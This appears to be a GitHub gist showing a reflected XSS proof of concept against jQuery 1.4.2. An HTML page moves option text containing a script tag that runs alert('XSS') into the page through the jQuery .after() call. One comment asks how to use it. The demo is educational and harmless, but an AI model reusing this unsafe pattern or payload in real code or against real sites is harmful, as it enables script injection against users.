Skip to content

Instantly share code, notes, and snippets.

@lotusirous
Last active August 23, 2022 16:53
Show Gist options
  • Save lotusirous/b82652597538e3790f2443943dadad83 to your computer and use it in GitHub Desktop.
Save lotusirous/b82652597538e3790f2443943dadad83 to your computer and use it in GitHub Desktop.
Example of XSS vulnerability on Jquery 1.4.2
<html>
<head>
<meta charset="utf-8">
<title>XSS Reflected - Jquery 1.4.2 </title>
<script src="http://www.tcs.com.vn/mysite/javascript/jquery-1.4.2.min.js"></script>
<script>
$(function() {
$('#users').each(function() {
var select = $(this);
var option = select.children('option').first();
select.after(option.text());
select.hide();
});
});
</script>
</head>
<body>
<form method="post">
<p>
<select id="users" name="users">
<option value="xssreflected"><script>alert("XSS");</script></option>
</select>
</p>
</form>
</body>
</html>
@mynameisra
Copy link

how do i use this code buddy

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment